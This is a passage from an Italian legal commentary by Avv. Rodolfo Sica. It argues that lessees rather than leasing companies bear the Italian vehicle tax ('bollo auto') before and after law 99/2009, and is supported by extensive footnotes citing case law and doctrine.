In secondo luogo, la (pregressa) rilevanza tributaria della locazione con facoltà di acquisto dovrebbe essere riconosciuta, adattando il principio della responsabilità di imposta che grava sull’“intestatario” alla specificità della situazione che si verifica allorché dal pubblico registro risulti anche il locatario (cioè, il soggetto cui compete, per definizione, la facoltà esclusiva di utilizzare il veicolo), direttamente nei confronti del fisco, con la duplice conseguenza che: a) l’avviso di accertamento avrebbe dovuto essere indirizzato al locatario; b) la società di leasing raggiunta dall’avviso dovrebbe potersi rivalere sul locatario (54).

Quest’impostazione che, attualmente, sembra rispondere alle previsioni della legge n. 99/2009, corrisponde, se ha un qualche fondamento la ricostruzione sopra prospettata riguardo al presupposto delle tasse automobilistiche, a quella ricavabile anche all’epoca dei fatti di causa, anche se non “esplicitata” dalla relativa normativa.

In conclusione, il rigetto del ricorso e l’asserita responsabilità tributaria della società di leasing, ritenuta debitrice di imposta in ragione della titolarità formale di un diritto di proprietà, svuotato del suo contenuto principale in riferimento al particolare oggetto (il veicolo) e inespressivo della capacità contributiva cui le tasse automobilistiche fanno riferimento, non appare conforme al diritto.

B)Presupposto e soggetti passivi di imposta nel periodo post legge n. 99/2009

L’art. 5, comma 29, del D.L. n. 953/1982, così come modificato dall’art. 7, secondo comma, della legge n. 99/2009, dispone che «Al pagamento delle tasse di cui al comma precedente sono tenuti coloro che … risultano essere proprietari, usufruttuari, acquirenti con patto di riservato dominio, ovvero utilizzatori a titolo di locazione finanziaria, dal pubblico registro automobilistico, per i veicoli in esso iscritti».

È opinione diffusa che, a decorrere dalla data di entrata in vigore della nuova legge (15 agosto 2009), soggetto passivo sia il titolare di uno dei diritti menzionati (55).

Tale interpretazione tuttavia, per quanto aderente alla ratio della disciplina di settore e, verosimilmente, alla intenzione del legislatore, non collima con quella che si dovrebbe arguire facendo applicazione di quel medesimo mero criterio letterale applicato dalla Suprema Corte nella fattispecie in esame.

Infatti, tale criterio letterale non sembra disciplinare in modo uniforme le figure introdotte in aggiunta al proprietario (56). Sarebbe, quindi, possibile ipotizzare un’obbligazione cumulativa in capo a (tutti od alcuni dei) soggetti menzionati; ipotesi non incompatibile, del resto, con la asserita natura patrimoniale del tributo. Ne conseguirebbe, inoltre, la responsabilità solidale di costoro (57).

D’altronde se è pur vero che la non univoca lettera della nuova legge possa prospettare diverse soluzioni è parimenti vero che un ipotetico criterio da cui desumere l’esclusivo assoggettamento al tributo del titolare di uno dei diritti menzionati dalla nuova disposizione (in quanto soggetto che esercita il potere di fatto sul veicolo) non si ricava affatto dalla sistematica della legge che la ha introdotta (58).

Se così è, si avrebbe la riprova che tale soluzione interpretativa verrebbe ricavata dalla ratio della disciplina complessiva, quale risulta, soprattutto, dalle altre disposizioni dell’istituto; lo stesso criterio sistematico, quindi, la cui necessità è stata apertamente esclusa nella decisione in commento.

Si è osservato, in contrario, che, da un lato, la citata sentenza n. 164/1993 della Corte Costituzionale non avrebbe alterato lo schema presuntivo stabilito dal D.L. n. 953/1982 (responsabilità tributaria dell’“intestatario”), e, dall’altro, che la legge n. 99/2009 avrebbe sovvertito tale principio (responsabilità tributaria dell’utilizzatore) (59).

Se è sicuro che la responsabilità tributaria dell’utilizzatore sia stata esplicitata nella nuova legge, il sovvertimento dei principi fondamentali della materia sembra, piuttosto, essere il risultato della sovrapposizione di piani di valutazione distinti. Infatti, tra il testo del D.L. n. 953/1982 e il testo della legge n. 99/2009 non vi è, ai fini che qui vengono in considerazione (sistema di identificazione del soggetto tenuto al tributo), sostanziale discordanza: la nuova legge si limita ad estendere la soggettività passiva all’usufruttuario, all’acquirente con patto di riservato dominio e al locatario. In altre parole, la legge continua a riferirsi a «chi risulti dal pubblico registro».

D’altronde il locatario iscritto è oggigiorno tenuto al pagamento dell’imposta non perché “effettivo” utilizzatore del veicolo, il che potrebbe non essere (come nel caso di una locazione non tempestivamente cancellata), ma perché l’annotazione della locazione pubblicizza una posizione giuridica di dominio sul veicolo prevalente rispetto a quella del proprietario.

Se si tenesse per buona un’interpretazione letterale di tale nuova normativa, essa darebbe luogo agli stessi inconvenienti che avevano determinato l’intervento della Corte Costituzionale nel 1993 e l’adozione di un’interpretazione costituzionalmente orientata. Infatti, ove la cessione della locazione non fosse annotata nei registri pubblici, sarebbe ritenuto responsabile il locatario iscritto (“intestatario”), nonostante che più non disponesse del veicolo. A risolvere una tale situazione conflittuale – ipotizzata tra locatario apparente e locatario effettivo, ma ipotizzabile anche tra locatario iscritto e proprietario – non varrebbe certo la legge n. 99/2009; si dovrebbe fare riferimento, invece, all’interpretazione costituzionalmente orientata all’epoca suggerita dalla sentenza n. 164/1993.

Come si ricorderà, quella decisione aveva affermato il principio secondo il quale l’azione intrapresa dall’Amministrazione finanziaria nei confronti dell’“intestatario” dovesse ritenersi legittima in ragione della presunzione di legittimità delle risultanze del pubblico registro; nel contempo aveva riconosciuto la possibilità di fornire una prova contraria da parte di tale soggetto, in ragione del valore presuntivo di quelle stesse risultanze. Così prospettando la differente posizione del proprietario “apparente”, responsabile d’imposta verso il fisco, e del proprietario “effettivo”, debitore di imposta e soggetto a rivalsa.

Peraltro la trasposizione di tali principi alla fattispecie complessa oggetto della nuova disciplina implica che sia stato previamente individuato il presupposto della relativa imposta.

Se questo viene ravvisato nel diritto sul veicolo, inteso come bene suscettibile di concorrenti forme di appartenenza (ad esempio: proprietario e acquirente con patto di riservato dominio; proprietario e usufruttuario; proprietario e locatario), per conseguenza: a) tutti i soggetti che dal pubblico registro risultino titolari di diritti sul veicolo assumeranno la posizione di responsabili di imposta, e saranno solidalmente tenuti al pagamento e passibili di azione di recupero (60); b) il soggetto che ha pagato l’intero potrà recuperare la quota di imposta correlativa al diritto altrui (61).

Se questo viene ravvisato nella disponibilità del veicolo,  inteso come strumento che consente di circolare sulle pubbliche strade, per conseguenza: a) tutti i soggetti che dal pubblico registro risultino titolari di diritti che ne consentano, in via esclusiva, l’utilizzazione (ad esempio: acquirente con patto di riservato dominio, oppure usufruttuario, oppure locatario) saranno tenuti al pagamento e passibili di azione di recupero; b) il soggetto che ha pagato l’imposta non potrà agire in rivalsa nei confronti del soggetto che sia titolare del diritto (formale) di proprietà.

Resta salva, naturalmente (in entrambi i casi), la possibilità di dimostrare che le risultanze del registro non siano aggiornate, e di agire in rivalsa nei confronti di chi sia titolare effettivo dei diritti enunciati nella nuova disposizione.

Non appare, invece (in questo secondo caso), corretto ritenere “responsabili di imposta” verso il fisco sia il proprietario che l’utilizzatore (e, contemporaneamente, ammettere l’azione di rivalsa del proprietario che abbia versato il tributo nei confronti dell’utilizzatore). Un tale regime, infatti, sarebbe incompatibile con il concetto di “presunzione” che, in realtà, domina la materia ed assorbe quello di “responsabile di imposta” (62). Parrebbe, quindi, conforme a tale concetto la possibilità di fare affidamento sulle risultanze del pubblico registro (ad esempio: locatario iscritto) per identificare la corrispondente posizione giuridica (locatario) che giustifica il tributo; ma sarebbe incongruente fondare l’azione di recupero verso il soggetto titolare di una posizione giuridica (ad esempio: proprietario iscritto) diversa da quella che si assuma giustificare il debito tributario (ad esempio: locatario).

Né, per altro verso, la responsabilità di imposta del “proprietario” potrebbe essere desunta dalla sua posizione di garanzia nella definizione di tutte le pratiche burocratiche preordinate alla legittima circolazione del veicolo (63); né, tantomeno, dalla prevista radiazione d’ufficio per omesso pagamento delle “tasse” automobilistiche (64).

Si era prospettato in apertura di queste considerazioni conclusive che la disponibilità del veicolo fosse passibile di riscontro (attraverso le risultanze del Pubblico Registro Automobilistico) secondo un duplice meccanismo presuntivo: colui che figuri intestatario, si presume proprietario; e colui che figuri proprietario, si presume possessore.

Facendone coerente sviluppo, si può osservare che tale presunzione è “superata”, a monte dalla circostanza che la locazione sia iscritta. Più propriamente, è superata da un’altra presunzione.

In definitiva, il locatario è tenuto al pagamento delle tasse automobilistiche, in quanto il diritto di cui egli figura titolare comporta, per definizione (secondo le regole del diritto civile), la disponibilità del veicolo, ad esclusione del proprietario.

Avv. Rodolfo Sica

(1) L’orientamento dominante ammette che la presunzione derivante dalla formale “intestazione” nel Pubblico Registro Automobilistico possa essere vinta con ogni mezzo di prova; cfr. Cass., sez. III, 26 ottobre 2009, n. 22605, in Rep. Foro it., 2010, Autoveicolo [0740], n. 3; Cass., sez. II, 15 settembre 2009, n. 19875, ivi, 2009, Autoveicoli (tassa) [0730], n. 9; Cass., sez. trib., 28 aprile 2006, n. 10011, in Boll. Trib., 2006, 1809; Cass., sez. III, 7 luglio 1998, n. 6599, in Rep. Foro it., 1998, Autoveicolo [0740], n. 4-6; e Cass., sez. I, 9 novembre 1993, n. 11060, ivi, 1994, Autoveicolo [0740], n. 8. Una posizione restrittiva è stata assunta, invece, da Cass., sez. I, 4 novembre 1997, n. 10794, in Boll. Trib., 1998, 1738, che, in ossequio a Corte Cost. 15 aprile 1993, n. 164, ivi, 1993, 858, richiede, all’uopo, documentazione di data certa, e da Cass., sez. III, 20 aprile 2010, n. 9314, in Rep. Foro it., 2010, Autoveicolo [0740], n. 4, che ha ritenuto immune da vizi la decisione del giudice di merito circa l’inidoneità della prova per testimoni e dell’interrogatorio formale.

(2) Cass., sez. III, 19 novembre 1994, n. 9804, in Boll. Trib., 1996, 975; Cass., sez. III, 22 marzo 2005, n. 6167, in Rep. Foro it., 2006, Autoveicoli (tassa) [0730], n. 5; e Cass., sez. trib., 24 giugno 2011, n. 13952, in Boll. Trib. On-line.

(3) Come accennato, il soggetto (responsabile di imposta) che ha dovuto adempiere l’obbligazione tributaria potrebbe agire verso il soggetto (debitore di imposta) per ottenerne il rimborso: questo schema trova attuazione anche in materia di tasse automobilistiche, come introdotto dalla giurisprudenza citata nelle precedenti note per dare attuazione al principio affermato da Corte Cost. n. 164/1993. Si afferma anche che tale sistema, devoluzione delle liti tributarie al giudice tributario e devoluzione delle liti private al giudice civile, sia inappagante, in quanto non sarebbe corretto sostenere che l’osservanza di obblighi tributari sia una vicenda privatistica ed, inoltre, che potrebbe dare luogo a conflitti di giudicato, auspicando la modifica della legge tributaria processuale: così E. De Mita, Principi di diritto tributario, Milano, 2007, 25, per quanto interessa in riferimento al caso in esame e per quanto si tratti di decisione emessa in esito a giudizio di natura tributaria, qualora la Suprema Corte esprima un principio di diritto in base al quale la società di leasing sia tenuta al pagamento del c.d. “bollo-auto” in ragione dello specifico diritto (la proprietà) vantato sul veicolo, verosimilmente nessuna rivalsa dovrebbe poter accampare la medesima società, in sede civile nei confronti del locatario, e fondata sulla titolarità del diritto di utilizzare il veicolo da parte di quest’ultimo (nella misura in cui si tratti di situazioni giuridiche di diversa natura).

(4) Normalmente, il locatario è tenuto al pagamento del bollo-auto, salva l’ipotesi che venga pattuito il c.d. “full-leasing”, che, ovviamente, ha un costo maggiore. A tale riguardo, può rammentarsi come si sostenga la legittimità di leggi che prevedano la traslazione contrattuale del debito di imposta, in quanto non contrastanti con il divieto espresso dall’art. 53 Cost.: così G. Falsitta, Manuale di diritto tributario, Padova, 2010, 180; e L. Salvini, Rivalsa nel diritto tributario, in Dig. disc. priv., sez. comm., 1996, XIII, 40 s. In mancanza di divieti in tal senso nel D.L. n. 953/1982, si dovrebbe, parimenti, ammettere la liceità di tali accordi; la soluzione positiva sembra, del resto, che possa ricavarsi dalla configurazione “facoltativa” della rivalsa legislativamente prevista in capo ai soggetti qualificati come “responsabili di imposta” e sulla quale viene ricalcata la posizione del soggetto “intestatario” nel Pubblico Registro Automobilistico: così come questi può, non esercitando la rivalsa, gravarsi del debito di imposta, così lo stesso risultato dovrebbe poter raggiungere con un accordo. In tal caso, il locatario – pur non essendo, per legge, tenuto al pagamento dell’imposta (giusta la decisione della Suprema Corte) – ne sarebbe tenuto per contratto, con tutto ciò che ne consegue in caso di inadempimento.

(5) Una semplice estensione della soggettività passiva, fermo restando il presupposto del tributo, nella sua originaria configurazione, potrebbe ammettersi (in sintonia con i principi generali) soltanto in due casi: a) laddove ai nuovi soggetti (usufruttuario, locatario) si riconnetta la qualifica di “responsabile di imposta”, i quali, notoriamente, sono tenuti per una capacità contributiva ascrivibile ad altri; b) laddove al presupposto di imposta si riconosca una configurazione tale da abbracciare anche la posizione del locatario. La prima possibilità risponde, senz’altro, all’interesse del fisco e avrebbe un qualche fondamento razionale nella misura in cui si ammetta che l’assunzione dell’obbligo (nei confronti della società di leasing) di pagare il bollo-auto incida sulla misura del canone: in questo senso, si potrebbe ammettere che il locatario disponga delle somme necessarie a fare fronte all’obbligazione tributaria, ciò che, normalmente, è considerata una delle condizioni che giustificano (costituzionalmente) la scelta legislativa di addossare l’obbligo tributario a terzi (cfr. G. Falsitta, Manuale di diritto tributario, cit., 178). Tuttavia, qui la fonte è contrattuale e non legale. La seconda possibilità (esclusa dalla Suprema Corte con la pronuncia in commento) sembra rispondere pienamente alla struttura del tributo e rappresenta, pertanto, la ragione assorbente della responsabilità del locatario, come si sostiene nel prosieguo del commento.

(6) A tal fine, appare opportuno riportare i passaggi salienti: la Corte Cost. n. 164/1993, cit., era stata chiamata a verificare la conformità dell’obbligazione di imposta alla capacità contributiva dell’obbligato «stante la possibilità che i dati del registro non corrispondano alla reale situazione di proprietà o possesso». Dopo aver precisato che il riferimento all’art. 53 Cost. non fosse del tutto pertinente perché «L’invocato precetto costituzionale di cui si denuncia la violazione non è in diretto collegamento con la tassa di cui trattasi che colpisce la proprietà o il possesso dell’autoveicolo in sé e non quale indice rivelatore di ricchezza, in quanto determina, invece, la capacità contributiva alla quale a sua volta è collegato l’obbligo di imposta e la relativa prestazione», afferma che «è del tutto ragionevole il riferimento alle risultanza del P.R.A. per agevolare l’accertamento da parte dell’Amministrazione finanziaria della situazione di proprietà e possesso dell’autoveicolo, attesa la normale corrispondenza tra le indicazioni del P.R.A. e l’effettività di dette situazioni» e rileva che gli artt. 2683 ss. c.c. prevedano l’obbligo della trascrizione nel Pubblico Registro Automobilistico, che «L’art. 94 del nuovo codice della strada … obbliga le parti interessate, in caso di trasferimento della proprietà dell’autoveicolo, di costituzione dell’usufrutto e di stipulazione della locazione con facoltà di acquisto, di richiedere la trascrizione dell’atto» e che «È anche prevista la possibilità di fare annotare nel registro la perdita della proprietà o del possesso». Purtuttavia, conclude nel senso che le predette annotazioni, in quanto non abbiano valore costitutivo del diritto oggetto di pubblicità, si configurino come mera presunzione suscettibile di prova contraria. In definitiva mette conto evidenziare che l’aver enumerato anche la locazione finanziaria tra i diritti che si ha obbligo di annotare nel pubblico registro – e, considerato anche tale elemento nella logica complessiva della motivazione, secondo cui le registrazioni eseguite nel pubblico registro possono ragionevolmente fondare l’azione dell’Amministrazione finanziaria – lascia intendere che anche la posizione del locatario abbia rilevanza fiscale; e ciò ad onta della qualificazione giuridica (in termini di diritto personale), che, peraltro, nel diritto tributario ha una valenza relativa.

(7) «Naturalmente il “bollo auto” congegnato nel modo testé descritto si prestava ad una evasione fin troppo facile. Si poteva possedere una o cento automobili ma fino a che non si veniva “pizzicati” al volante di una di esse, senza la prescritta certificazione di eseguito pagamento del tributo, non c’era nulla da eccepire e contestare … E per scongiurare il pericolo di evasioni la legge collegò la prova del possesso all’iscrizione del veicolo nell’apposito registro tenuto dall’ACI»: così G. Falsitta, La storia del bollo auto e la fretta della Corte Costituzionale, in il fisco, 1996, 1905.

(8) «Risultarono, in tal modo, possessori di autoveicoli e debitori di imposta migliaia di persone che da tempo avevano perso il possesso del loro autoveicolo (già demolito o rubato o da tempo trasferito a terzi) ma che non si erano curate di annotare l’evento sul pubblico registro automobilistico. Costoro insorsero contro l’assimilazione dell’iscrizione al P.R.A. ad una presunzione assoluta di possesso. Intervenne la Corte Costituzionale (cfr. Corte Cost. n. 164/1993, cit.), che emise una sentenza “interpretativa di rigetto” nella quale giustamente si osserva: 1) che è posto a carico degli interessati un obbligo (assistito da sanzione amministrativa irrogabile nei confronti dei violatori) di annotazione di tutti gli eventi che danno luogo alla perdita della proprietà o del possesso, per intervenuta stipulazione di atti traslativi della proprietà o del diritto reale dell’autoveicolo, o per causa di forza maggiore, per fatti del terzo, per provvedimenti dell’autorità, eccetera; 2) che ad ogni modo, “sia la trascrizione che l’annotazione non pongono una presunzione assoluta ma solo una presunzione relativa, che può essere vinta dalla prova contraria con documenti di data certa”»: così G. Falsitta, La storia, cit., 1906.

(9) «Limitatamente a questo profilo della prova, la sentenza n. 164/1993 è impeccabile»: così G. Falsitta, La storia, cit., 1906.

(10) «Essendo stato aggregato alla grande famiglia delle imposte, il “bollo-auto” ha acquistato un “protettore”: questo protettore si chiama principio di capacità contributiva … Considerata, invero, alla stregua del principio di capacità contributiva, la disciplina del “bollo-auto”, come imposta su quel particolare patrimonio costituito dal possesso dell’automobile, fa acqua da tutte le parti»: cfr. G. Falsitta, La storia, cit., 1906 s.

(11) «Deve dunque concludersi che il motivo che ha dato vita alla “novella” qui ricordata sta tutto nell’esigenza dell’erario di anticipare nel tempo il venire ad essere del rapporto e dell’obbligazione tributaria e la riscossione del tributo che ne costituisce l’oggetto rispetto all’uso dell’autoveicolo e simili mezzi di locomozione. Il Legislatore ha considerato che l’acquisto di detti beni e la dovuta relativa immatricolazione, essendo destinati alla circolazione equivale parzialmente a quest’ultimo evento sicché gli eventi preliminari sopra menzionati sono stati equiparati all’evento finale e conclusivo che ne costituisce la causa formale e finale del tributo»: cfr. E. Antonini, Tasse Automobilistiche. Disciplina attuale ed excursus storico, in Giur. imp., 1988, 670. Tale ricostruzione del tributo è stata, successivamente, sottoposta a revisione critica. In particolare, nel presupposto che essa non sia compatibile se non con una vera e propria tassa di circolazione, se ne è rilevata: a) la inconciliabilità con la mancata previsione di congegni atti a consentire al contribuente il recupero del tributo corrisposto per il caso di mancata circolazione del veicolo; b) la caduta in desuetudine per contrasto con la concezione di “imposta sulla proprietà” accolta da Corte Cost. 2 febbraio 1988, ord. n. 129, in Boll. Trib. On-line: così G. Marongiu, Riflessioni a margine del regime fiscale delle auto storiche, in Dir. prat. trib., 1993, I, 1764 ss. Tuttavia, tali rilievi non sembrano in grado di intaccare la tesi avversata. Per quanto concerne l’argomento sub a), può osservarsi che né il D.L. n. 953/1982 prevedesse alcun tipo di rimborso per il caso di intervenuta demolizione del veicolo nel corso del periodo di imposta, sicché quel nesso di stretta corrispondenza (che, nelle imposte, si raccorda alla capacità economica) affetta anche la persona del proprietario come tale, né, oggigiorno, tutte le Regioni abbiano introdotto tale diritto (come può desumersi dalla sentenza negativa emessa da Comm. trib. reg. del Lazio 22 aprile 2008, in Rep. foro it., 2009, Autoveicoli(tassa) [0730], n. 10). A parte ciò, si deve aggiungere che la predisposizione di specifici meccanismi compensativi, crediti di imposta, etc.,  è una tra le possibili formule atte a consentire il recupero di una imposta indebitamente pagata, essendo, infatti, l’art. 21, secondo comma, del D.P.R. n. 594/1992 considerato dalla dottrina prevalente e dalla più recente giurisprudenza (Commentario delle leggi tributarie, a cura di Consolo-Glendi, Torino, 2012) come lo strumento per attuare una azione generale di rimborso, sicché un ipotetico diritto al rimborso dovrebbe, comunque, ritenersi azionabile (verificatane, previamente, la spettanza, e, successivamente, le modalità procedimentali per conseguirlo). Per quanto concerne l’argomento subb), può osservarsi che, da un lato, la ordinanza citata non rappresenta un valido test per trarre conclusioni su una questione, in tale sede, affrontata solo incidentalmente (a differenza della fondamentale decisione di Corte Cost. n. 164/1993, riportata succintamente nella nota n. 12, da cui emergono indicazioni ben differenti); dall’altro, che interpretazione giudiziaria e interpretazione dottrinaria non si collocano su un piano omogeneo: quest’ultima, nient’affatto vincolante se non per la forza logica delle argomentazioni su cui poggia, ha proprio (anche) la funzione pratica di orientare autorevolmente la prima. Per quanto concerne la sostanza della questione, occorre ulteriormente osservare che se l’obbligazione tributaria nasca (a far data dal D.L. n. 953/1982) con la mera iscrizione in un pubblico registro, ciò non comporta, necessariamente, che il relativo tributo debba essere configurato come una imposta: sarebbe, pur sempre, ipotizzabile una “tassa” legata alla immatricolazione del veicolo ed alla conseguente iscrizione nel Pubblico Registro Automobilistico (Cass., sez. trib., 1° marzo 2006, n. 4569, in Boll. Trib. On-line), quale provvedimento conclusivo che conferisce un beneficio. Senonché, la concezione in termini di “tassa” non è ipotizzabile in rapporto alla “immatricolazione” effettuata a cura degli Uffici della Motorizzazione Civile poiché il complesso di operazioni volte a verificare l’idoneità tecnica dei veicoli, etc., trova corrispettivo nelle tariffe di cui alla legge 1° dicembre 1986, n. 870, adeguati ed aggiornati ex art. 228, primo comma, del D.Lgs. n. 285/1992; d’altronde, la configurazione in termini di “tassa” non è neppure ipotizzabile in rapporto alla specifica registrazione nel Pubblico Registro Automobilistico, cui corrisponde un diverso e specifico tributo (dapprima, imposta di registro e, poi, imposta erariale di trascrizione, c.d. “I.E.T.”, oggigiorno tramutata in imposta provinciale di trascrizione, c.d. “I.P.T.”, ex D.Lgs. 15 dicembre 1997, n. 446). La conclusione (obbligata) che sembra doversi trarre dalla disciplina positiva del tributo è che ricorra una “imposta” dovuta al reiterarsi di determinati fattori – la immatricolazione del veicolo da parte della M.C.T.C. e la conseguente iscrizione nel Pubblico Registro Automobilistico – che, in quanto ne rappresentino le necessarie formalità propedeutiche, ne attestino pure la potenziale immissione in circolazione. A tale riguardo occorre, bensì, ricordare che, nella fattispecie tributaria, vanno distinte le norme di “definizione” del fatto tassabile da quelle “probatorie” e che queste seconde non possano essere atteggiate sotto forma di presunzioni assolute (E. De Mita, Principi, cit., 27); ma, bisogna, altresì, ricordare che il Legislatore giunge alla “definizione” del fatto tassabile attraverso la “semplificazione” dei concetti, al fine di rendere immeditamente e facilmente comprensibile a tutti quale sia l’elemento rilevante (ibidem, 18). Alla stregua di tali considerazioni, e tenuto conto che, secondo una attendibile e ragionevole valutazione di massima, l’acquisto del veicolo (con tutte le spese che ne conseguono e l’attivazione dei relativi procedimenti amministrativi presso gli Uffici competenti) prelude alla utilizzazione di esso, mentre, all’opposto, una puntuale verifica della concreta utilizzazione presenterebbe difficoltà attuative difficilmente superabili, la immatricolazione (e la conseguente iscrizione nel Pubblico Registro Automobilistico) dovrebbero essere apprezzate come espressione di norme “di definizione”. In conseguenza di ciò, contro tali indici non dovrebbe ammettersi protestatio contra factum: il proprietario del veicolo non potrebbe, cioè, essere ammesso a provare di non avere utilizzato il veicolo (ad esempio: stazionamento in garage) per propria autonoma scelta. Nello stesso ordine di idee è pacifico che il soggetto tenuto a versare l’imposta di registro possa contestare, ad esempio, la valutazione dell’immobile, ma non certo che l’atto di trasferimento sia, di per sé, fattore espressivo di capacità economica. Tale definizione del tributo sembra corrispondere, a ben vedere, alla concezione accolta dalla stessa Corte Costituzionale, laddove ammette che: «L’invocato precetto costituzionale di cui si denuncia la violazione non è in diretto rapporto con la tassa di cui trattasi che colpisce la proprietà o il possesso dell’autoveicolo in sé e non quale indice rivelatore di ricchezza, in quanto determina, invece, la capacità contributiva alla quale a sua volta è collegata l’obbligazione di imposta e la relativa prestazione» (sentenza n. 164/1993, cit.). La proprietà del veicolo – sembra di poter intendere – non rileva in sé, ma dà luogo alla capacità contributiva (cioè alla attitudine alla circolazione) cui consegue l’obbligo tributario. In tale ottica, in definitiva, l’apparente (e denunciata) discrasia di una imposizione fondata su un fattore – la circolazione del veicolo – la cui ricorrenza, in concreto, potrebbe difettare, trova la stessa risposta che la Corte Costituzionale ha fornito ad analoga questione sorta in rapporto al canone RAI: «Ma il collegamento dell’obbligazione di pagare il canone alla semplice detenzione dell’apparecchio, atto od adattabile alla ricezione … indipendentemente dalla possibilità o dalla volontà di fruire dei programmi della concessionaria del servizio pubblico discende dalla natura di imposta impressa al canone, che esclude ogni nesso di necessaria corrispettività in concreto tra obbligazione tributaria e fruizione effettiva del servizio pubblico» (sentenza n. 284 del 26 giugno 2002, in Giust. civ., 2002, 2049). Persistendo nel parallelo con il canone RAI, giova, inoltre (e, per contro), rimarcare che il mero possesso di un bene non è, di per sé, ragione sufficiente per la sottoposizione ad imposta, se non coerente con la natura del tributo: sono così, in tale contesto, ritenuti esenti dal canone radiotelevisivo computer, tablet e smartphone.

(12) I veicoli «sono immatricolati a nome del locatore, ma con specifica annotazione sulla carta di circolazione del nominativo del locatario e della data di scadenza del relativo contratto … Nella medesima ipotesi, si considera intestatario della carta di circolazione anche il locatore. Le indicazioni di cui sopra sono riportate nella iscrizione al PRA».

(13) Subitamente, verrebbe fatto di obiettare: rubrica legis non est lex. L’obiezione, tuttavia, non coglierebbe nel segno quante volte nella rubrica sia enunciata una “definizione”, la quale rappresenta uno tra i principali strumenti utilizzati per ridurre la vaghezza ed eliminare l’ambiguità; «si tratta, dunque, di una tecnica volta ad evitare distorsioni nel significato di determinati termini»: così G. Melis, L’interpretazione nel diritto tributario, Padova, 2003, 134. Le definizioni (unitamente agli artt. 1 c.p. e 14 disp. prel. c.c. e alle leggi di interpretazione autentica) si collocano nell’ambito delle disposizioni che regolano, non l’attività di interpretazione in generale, ma l’interpretazione di un singolo documento normativo o di una singola disposizione o di un singolo termine: così R. Guastini, L’interpretazione dei documenti normativi, Milano, 2004, 184. Nell’ambito delle definizioni c.d. “nominali”, che stabiliscono il significato dell’espressione, enunciandone la “regola d’uso”, si operano alcune distinzioni: assumono, qui, rilievo la ”ridefinizione”, «che si muove nell’ambito degli usi preesistenti, oppure opta per un significato vicino a quello degli usi precedenti, in ogni caso assegnando significati univoci e precisi ad espressioni prima equivoche e vaghe» (così R. Guastini, L’interpretazione, cit., 136), e quelle che «designano norme o sistemi di norme che siano stati assunti come schemi di qualificazione di fatti o di loro elementi o aspetti (ad esempio, diritto, legge, diritto tributario)» (così id., L’interpretazione, cit., 137). Pur riconoscendo che la definizione non elimini l’opera dell’interprete, «in quanto mezzo per la riduzione della vaghezza dell’enunciato cui si riferisce, essa ne forma parte integrante e sotto tale profilo non può disconoscersene la vincolatività»: così R. Guastini, L’interpretazione, cit., 138. In tali termini, «è evidentemente errato voler espungere dall’enunciato normativo la rubrica» (così R. Guastini, L’interpretazione, cit., 140).

(14) L’art. 2, lett. y), della legge 13 giugno 1991, n. 190, stabiliva, tra gli altri criteri ispiratori «l’aggiornamento delle norme per il rilascio del documento di circolazione, per l’immatricolazione, per i trasferimenti di proprietà … che, nel rispetto delle competenze attribuite dalle leggi rispettivamente al Ministero dei trasporti e al pubblico registro automobilistico, persegua un modello organizzativo tendenzialmente omogeneo …, mediante l’armonizzazione delle relative procedure e prevedendo comunque forme di immediata provvisoria registrazione da parte del pubblico registro automobilistico, valide a tutti gli effetti di legge, salvo prova contraria». La locuzione di ampia portata “a tutti gli effetti di legge” non sembra passibile di una interpretazione riduttiva: a) non nel senso che le registrazioni nel Pubblico Registro Automobilistico abbiano la efficacia loro propria anche in assenza della corrispondente comunicazione del trasferimento di proprietà al locale Ufficio del Ministero dei Trasporti, tale efficacia operando, comunque e necessariamente, ope legis (codice civile); b) non nel senso che debba essere riferita ad una fase provvisoria, il che sarebbe incompatibile con il valore di “certezza pubblica” che le suddette registrazioni producono e che può essere vinto solo da successive registrazioni di segno differente. A mente di ciò, sembra potersi affermare che il Legislatore delegato si sia attenuto a tale criterio ispiratore con l’introduzione di disposizioni definite “tributarie”. Infatti la locuzione “valide ad ogni effetto di legge”, in quanto riferita alle registrazioni eseguite nel Pubblico Registro Automobilistico che, giusta il D.L. n. 953/1982, sono rilevanti anche ai fini delle tasse automobilistiche, può ritenersi riferita anche, per l’appunto, agli effetti “tributari”.

(15) È notorio come la norma (regola di condotta) possa risultare da una o più disposizioni (enunciati linguistici); sicché, nel secondo caso, le disposizioni contengono “frammenti” di norme: così R. Guastini, Le fonti del diritto, Milano, 2010, 35 s.; e id., L’interpretazione, cit., 99 ss. In particolare, le norme in senso stretto sono norme prescrittive, cioè norme che impongono un comportamento od una omissione, cui accedono le altre norme (o “frammenti” di norma), perciò non autonome, con svariate funzioni: ad esempio, le norme sull’efficacia di altre norme (così ved. R. Guastini, Le fonti del diritto, cit., 20 s.). Ciò premesso, se, come pare, la questione posta alla Suprema Corte sia stata quella di verificare l’esistenza di una norma, ricavabile dal testo originario (D.L. n. 953/1982) e dalla integrazione apportata dal testo successivo (legge n. 449/1997), che già stabilisse la responsabilità tributaria anche del locatario, allora risulta evidente che la Suprema Corte abbia posto in essere una attività che non si risolve semplicemente nell’interpretazione letterale, in quanto: a) l’interpretazione letterale, come tale, è configurabile rispetto ad un unico testo normativo ovvero rispetto ad una isolata disposizione (così A. Pizzorusso, Delle fonti del diritto, in Commentario del Codice civile Scialoja-Branca, a cura di F. Galgano, Bologna, 2011, 258); b) nell’escludere la utilizzazione della legge n. 449/1997, ha operato una selezione del materiale normativo, ciò che rappresenta una delle fasi della unitaria attività interpretativa (così A. Pizzorusso, Delle fonti, cit., 230); c) nell’escludere la rilevanza tributaria della legge n. 449/1997, in quanto semplicemente diretta a regolare le conseguenze sanzionatorie della circolazione stradale, ha palesemente operato, non risultando tale finalità dalla connessione delle parole rinvenute nella disposizione, attraverso un criterio teleologico o sistematico. In conclusione l’affermazione secondo cui la responsabilità del solo proprietario risulterebbe inequivocabilmente dalla lettera della legge, intesa come antecedente logico per escludere la possibile portata interpretativa-retroattiva della successiva legge n. 99/2009, appare destituita di fondamento.

